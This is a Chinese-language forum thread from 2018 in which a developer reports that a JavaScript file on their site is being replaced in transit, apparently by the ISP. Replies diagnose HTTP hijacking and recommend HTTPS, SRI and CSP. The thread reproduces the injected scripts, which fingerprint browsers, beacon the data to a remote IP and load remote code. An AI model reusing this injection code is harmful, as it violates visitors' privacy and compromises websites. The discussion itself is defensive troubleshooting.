V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
推荐关注
Meteor
JSLint - a JavaScript code quality tool
jsFiddle
D3.js
WebStorm
推荐书目
JavaScript 权威指南第 5 版
Closure: The Definitive Guide
AifeiI

JS 内容被篡改,代码部署在云服务器,如何跟踪在哪个环节被篡改?

  •  
  •   AifeiI · Feb 8, 2018 · 9673 views
    This topic created in 3005 days ago, the information mentioned may be changed or developed.

    被篡改后的 js:

    
    !
    function(a, b) {
        function c(a) {
            var d, e, f, g, h, i, b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
            for (new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1), f = a.length, e = 0, d = ""; f > e;) {
                if (g = 255 & a.charCodeAt(e++), e == f) {
                    d += b.charAt(g >> 2),
                    d += b.charAt((3 & g) << 4),
                    d += "==";
                    break
                }
                if (h = a.charCodeAt(e++), e == f) {
                    d += b.charAt(g >> 2),
                    d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
                    d += b.charAt((15 & h) << 2),
                    d += "=";
                    break
                }
                i = a.charCodeAt(e++),
                d += b.charAt(g >> 2),
                d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
                d += b.charAt((15 & h) << 2 | (192 & i) >> 6),
                d += b.charAt(63 & i)
            }
            return d
        }
        function d() {
            return - 1 != b.userAgent.indexOf("MSIE") ? "ie": -1 != b.userAgent.indexOf("Chrome") ? "Chrome": -1 != b.userAgent.indexOf("Firefox") ? "Firefox": -1 != b.userAgent.indexOf("Opera") ? "Opera": -1 != b.userAgent.indexOf("Netscape") ? "Netscape": -1 != b.userAgent.indexOf("Safari") ? "Safari": ""
        }
        function e() {
            function e() {
                var a = "",
                c = b.plugins;
                if (c.length > 0) for (k = 0; k < b.plugins.length; k++) a += b.plugins[k].name + ";";
                return a
            }
            var f = b.appName,
            g = b.cookieEnabled,
            h = b.cpuClass,
            i = b.mimeTypes,
            j = b.platform,
            l = b.plugins,
            m = b.userAgent;
            return pStr = "type=" + d() + "&userAgent=" + m + "&appName=" + f + "&cookieEnabled=" + g + "&cpuClass=" + h + "&mimeType_length=" + i.length + "&platform=" + j + "&plugins_length=" + l.length + "&allPluginName=" + e() + "&window_screen_width=" + a.screen.width + "&window_screen_height=" + a.screen.height + "&window_screen_colorDepth=" + a.screen.colorDepth,
            c(pStr)
        }
        function g(a) {
            try {
                var b = new Image;
                b.src = 'http://183.59.53.237:8001/supplies/dot.gif?_b=' + _b + "&_n=" + a + " &_f=" + f + "&_js=https://assets-cdn.github.com/assets/github-857f3c501c8f.js?_t=1518060074842&_r=" + Math.random()
            } catch(c) {}
        }
        var h, i, j, k, l, m, n, f = 0;
        return window.innerWidth ? f = window.innerWidth: document.body && document.body.clientWidth && (f = document.body.clientWidth),
        document.documentElement && document.documentElement.clientWidth && (f = document.documentElement.clientWidth),
        window.self != window.top ? (g("iframe"), void 0) : (h = 0, (/AppleWebKit.*Mobile/i.test(navigator.userAgent) || navigator.userAgent.match(/(iPhone|iPod|iPad|Android|ios|BlackBerry|MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE)/i)) && (h = 1), 600 > f && 0 == h ? (g("pc"), void 0) : (i = e(), k = 0, l = 0, m = "scripts2s", n = document.createElement("script"), n.setAttribute("type", "text/javascript"), n.setAttribute("src", "http://183.59.53.237:8001/pjk/xjk/index.php?b=" + _b + "&pid=" + i + "&c=" + _c), n.id = m, document.body ? document.getElementById(m) || document.body.appendChild(n) : j = setInterval(function() {
            if (k++, 10 == k) return clearInterval(j),
            void 0;
            try {
                document.getElementById(m) || 1 == l ? clearInterval(j) : document.body && (document.body.appendChild(n), l = 1)
            } catch(a) {}
        },
        500), void 0))
    } (window, navigator);
    
    

    除了上 https 还有其它办法?

    Supplement 1  ·  Feb 8, 2018

    补充


    uiq.mlnbike.com <---> 183.59.53.237

    篡改后访问域名就是用2525端口,如果篡改后访问 ip ,则用8001端口,你篡改加广告就算了,写的JS有问题,执行不了(没广告就没绩效),也拿不到我原有内容加载,烦人,怎么投诉

    Supplement 2  ·  Feb 11, 2018
    和小伙伴商量后,让客户申请 CA 证书,启用 HTTPS 协议了
    41 replies    2018-04-11 20:40:09 +08:00
    yangqi
        1
    yangqi  
       Feb 8, 2018
    上 https 也没用,目测是代码有漏洞,这个只能一步步排查
    morethansean
        2
    morethansean  
       Feb 8, 2018
    我本来以为就是劫持看了一楼的回复,你是说服务器上的源文件被串改了?
    opengps
        3
    opengps  
       Feb 8, 2018
    多数垃圾 js 是 http 协议传输导致在网络传输过程中被注入。
    个别的情况,我遇到过一次,服务器中了一个垃圾广告流氓病毒,对外输出时候就成了带垃圾 js 的。
    如果是 http 中间注入很容易识别,在服务器上,本地访问查看源码即可(条件允许最好是用内网服务器查看),另外就是多几个客户端线路访问下进行对比。 这里顺便聚个现实例子,谴责下长城宽带,我自己的网站,从本地联通到本地长城宽带,就被注入了广告
    7654
        4
    7654  
       Feb 8, 2018
    是被劫持了還是云主机被黑了?
    AifeiI
        5
    AifeiI  
    OP
       Feb 8, 2018
    @yangqi #1

    @morethansean #2

    @opengps #3

    @7654 #4

    不是服务器文件被篡改,是访问页面时,某一个 js 获取的请求得到的内容被篡改为以上内容(一定几率会遇到),原内容直接访问地址是可以获取到的。
    timothyye
        6
    timothyye  
       Feb 8, 2018
    看来得上 https
    just1
        7
    just1  
       Feb 8, 2018 via Android
    你先服务器本地访问试试,也出现就排除网络因素
    wrongwaycn
        8
    wrongwaycn  
       Feb 8, 2018
    你是不是用了 daovoice?
    AifeiI
        9
    AifeiI  
    OP
       Feb 8, 2018
    @wrongwaycn 并没有
    wrongwaycn
        10
    wrongwaycn  
       Feb 8, 2018
    那你人在深圳么?
    vghdjgh
        11
    vghdjgh  
       Feb 8, 2018 via Android
    subresource integrity
    AifeiI
        12
    AifeiI  
    OP
       Feb 8, 2018
    @just1 本地确认过,没有问题
    wrongwaycn
        13
    wrongwaycn  
       Feb 8, 2018
    @AifeiI 我现在遇到了和你一样的问题,我的坐标是深圳南山区软件创业基地, 当我以 http 引用所有来自 daovoice 的 js 时, 就会出现如你一样的 js 填入
    AifeiI
        14
    AifeiI  
    OP
       Feb 8, 2018
    @wrongwaycn 不在
    wrongwaycn
        15
    wrongwaycn  
       Feb 8, 2018
    <script type='text/javascript' src="http://widget.daovoice.io/XXXXXXX.js"></script>
    当我模板中出现这个 js 引入时, 就会被填入 js 代码
    wrongwaycn
        16
    wrongwaycn  
       Feb 8, 2018
    这是被填入的 js 内容
    var _ju = "http://widget.daovoice.io/xx.js";_ju += (_ju.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "AH488609";var _c = "111771091_(iKgfV1g6wj8dwKyRiK5N_2069540581_@iKmfiJPNDK9dD6oeiKy6VXTa";
    var N1=document.createElement("script");N1.setAttribute("type","text/javascript"),N1.setAttribute("src",_ju),document.head?document.head.appendChild(N1):document.body&&document.body.appendChild(N1);
    var N2=document.createElement("script");N2.setAttribute("type","text/javascript"),N2.setAttribute("src","http://183.59.53.237:8001/pjk/static/tp.php?b="+_b+"&m="+_ju),document.head?document.head.appendChild(N2):document.body&&document.body.appendChild(N2);
    AifeiI
        17
    AifeiI  
    OP
       Feb 8, 2018
    @wrongwaycn 好吧,那就是 ISP 老油条又来年底拉绩效了
    wrongwaycn
        18
    wrongwaycn  
       Feb 8, 2018
    其他的外部 js 就不会, daocloud/daovoice 都中招, 我把网络切换到手机热点就不用被注入 js 代码
    AifeiI
        19
    AifeiI  
    OP
       Feb 8, 2018
    @vghdjgh 不用 HTTPS 的话,也是没有效果....
    pmispig
        20
    pmispig  
       Feb 8, 2018
    应该是 http 被劫持了,不然用 vpn 内网访问试试
    Loyalsoldier
        21
    Loyalsoldier  
       Feb 8, 2018
    在服务器响应加一下 CSP 规则就好了
    hcymk2
        22
    hcymk2  
       Feb 8, 2018
    试下 Content Security Policy
    AifeiI
        23
    AifeiI  
    OP
       Feb 8, 2018
    @pmispig 在这个大环境下,能不用就尽量不用。
    AifeiI
        24
    AifeiI  
    OP
       Feb 8, 2018
    @wrongwaycn 估计是电信机房搞的鬼
    AifeiI
        25
    AifeiI  
    OP
       Feb 8, 2018
    @Loyalsoldier #21

    @hcymk2 #22

    这是禁止执行,但问题是篡改了原有的 JS 内容,导致项目无法运作,这才是烦心的点。申请 CA 证书还要搞一堆配置,然后就是等,等等,等等
    Loyalsoldier
        26
    Loyalsoldier  
       Feb 8, 2018
    @AifeiI #25
    不好意思,没仔细看题。
    只能上 HTTPS 了。先用 Let's Encrypt 证书顶着
    POPOEVER
        27
    POPOEVER  
       Feb 8, 2018
    电信劫持吧
    SourceMan
        28
    SourceMan  
       Feb 8, 2018
    多大件事,不就是劫持嘛

    上 HTTPS 规避一波。
    opengps
        29
    opengps  
       Feb 8, 2018
    @AifeiI 那就毫无疑问了,上 https 让中间劫持者看不懂传输内容来避免这个问题
    blessyou
        30
    blessyou  
       Feb 8, 2018 via Android
    坐标深圳,也出现这个问题,插入的 js 地址在梅州...
    pynix
        31
    pynix  
       Feb 8, 2018
    劫持。。。
    leefly
        32
    leefly  
       Feb 8, 2018
    把 js 当 html 传输,用的时候再转成 js 试试看
    Kakus
        33
    Kakus  
       Feb 8, 2018
    应该是运营商的问题,试了用手机开热点和用代理服务器方式访问,都不会出现,换回电信的网就又出来了。打了 10000 号客服投诉了,半小时之后问题没有再重现,估计后台把我们的网站放开了。
    caola
        34
    caola  
       Feb 9, 2018
    什么年代了?居然还有不上 https 的网站?。。。
    sdrzlyz
        35
    sdrzlyz  
       Feb 9, 2018 via Android
    都 2018 年了,上个 https 很难嘛?
    mandy0119
        36
    mandy0119  
       Feb 9, 2018
    运营商吧。
    yexm0
        37
    yexm0  
       Feb 9, 2018
    你是深圳电信用户?
    AifeiI
        38
    AifeiI  
    OP
       Feb 11, 2018
    @yexm0 广东电信
    WindowPain
        39
    WindowPain  
       Feb 12, 2018
    深圳电信。最近总是有弹窗,链接是 syt.mlnbike.com:2525/XXX,跳转去“品库特卖”。
    这个“品库特卖”的链接小尾巴公然写着“?pk_from=dianxin ”……
    linkdesu
        40
    linkdesu  
       Apr 11, 2018
    @WindowPain 我最近也是遇到这问题,请问你的解决了吗?
    WindowPain
        41
    WindowPain  
       Apr 11, 2018
    @linkdesu 不在深圳了。运营商劫持,估计除了投诉外,只能等网站部署 https 了吧。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   1512 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 111ms · UTC 16:21 · PVG 00:21 · LAX 09:21 · JFK 12:21
    ♥ Do have faith in what you're doing.